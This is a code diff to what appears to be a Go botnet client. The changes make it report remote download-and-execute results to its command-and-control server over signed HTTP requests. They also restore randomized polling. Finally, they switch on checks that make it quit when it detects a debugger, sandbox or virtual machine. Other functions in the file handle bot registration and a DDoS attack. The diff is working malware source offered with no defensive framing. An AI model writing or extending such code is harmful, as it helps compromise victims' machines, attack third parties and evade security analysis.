11package components
22
33import (
4+ "encoding/json"
45 "log"
56 "os"
7+ "strconv"
68 "strings"
79 "time"
810
@@ -14,25 +16,54 @@ func do_register_bot(pkg *ServerReply, host string) bool {
1416}
1517
1618func do_remote_download_execute (pkg * ServerReply , host string ) bool {
17- commandline := pkg .Args ["args" ]
18- strArgs := strings .Fields (commandline .(string ))
19- option := ""
19+ commandline := pkg .Args ["args" ].(string )
20+ hidden := pkg .Args ["hidden" ].(bool )
21+ action := commandline
22+ if hidden {
23+ action += " (hidden)"
24+ }
2025
2126 // Collect options if it exists
27+ option := ""
28+ strArgs := strings .Fields (commandline )
2229 if len (strArgs ) > 1 {
2330 for i := 1 ; i < len (strArgs ); i ++ {
2431 option += (strArgs [i ] + " " )
2532 }
2633 option = strings .TrimSpace (option )
2734 }
2835 // Remote download and execute
29- ok := remote_execute (strArgs [0 ], pkg .Args ["hidden" ].(bool ), option )
36+ ok := remote_execute (strArgs [0 ], hidden , option )
37+ error1 := "failed"
38+ if ok {
39+ error1 = "done"
40+ }
3041
31- var reply ServerReply
32- reply .Args = make (map [string ]any )
33- reply .Headers = make (map [string ]string )
42+ report := Report {
43+ Guid : g_guid ,
44+ TaskID : strconv .FormatInt (pkg .TaskId , 10 ),
45+ Success : ok ,
46+ Output : "" ,
47+ Error : error1 ,
48+ Extra : make (map [string ]any ),
49+ }
50+ report .Extra ["action" ] = action
51+ byt , _ := json .Marshal (report )
52+ // Send report to C2
53+
54+ // Build url
55+ url := build_url (host , "/report" , botcore .use_ssl )
56+ // Calculate signature
57+ timestamp := generate_utc_timestamp_string ()
58+ sign := create_sign (g_token , g_guid , timestamp )
59+ // Send HTTP POST request
60+ do_head_post (url , byt , map [string ]string {
61+ "X-Guid" : g_guid ,
62+ "X-Time" : timestamp ,
63+ "X-Sign" : base64_enc (sign ),
64+ }, botcore .use_ssl )
3465
35- return
66+ return true
3667}
3768
3869func do_ddos_attack (pkg * ServerReply , host string ) bool {
@@ -64,10 +95,8 @@ func send_poll_request(host string) BotState {
6495 url := build_url (host , "/poll" , botcore .use_ssl )
6596
6697 // Hmac calculation
67- bytTokens , _ := base64_dec (g_token )
6898 timestamp := generate_utc_timestamp_string ()
69- data := []byte (g_guid + timestamp )
70- sign := hmac_sha256 (bytTokens , data )
99+ sign := create_sign (g_token , g_guid , timestamp )
71100
72101 // Send poll request
73102 reply := do_head_post (url , nil , map [string ]string {
@@ -153,11 +182,8 @@ func handle_command() {
153182 var stat BotState = StateReadGuid
154183
155184 for {
156- // time.Sleep(time.Second * time.Duration(random_int(1, 5)))
185+ time .Sleep (time .Second * time .Duration (random_int (1 , 5 )))
157186 stat = auth_bot_poll (stat , botcore .hosts [0 ])
158- // for _, host := range botcore.hosts {
159-
160- // }
161187 }
162188
163189}
@@ -172,17 +198,17 @@ func Run() {
172198 time .Sleep (time .Second * time .Duration (botcore .delay ))
173199
174200 // Try to fuck them all
175- // if botcore.anti_debug && is_debugger_exist() {
176- // return
177- // }
201+ if botcore .anti_debug && is_debugger_exist () {
202+ return
203+ }
178204
179- // if botcore.anti_sandbox && in_sandbox_now() {
180- // return
181- // }
205+ if botcore .anti_sandbox && in_sandbox_now () {
206+ return
207+ }
182208
183- // if botcore.anti_vm && in_vm_now() {
184- // return
185- // }
209+ if botcore .anti_vm && in_vm_now () {
210+ return
211+ }
186212
187213 // Install self
188214 // if botcore.install {
0 commit comments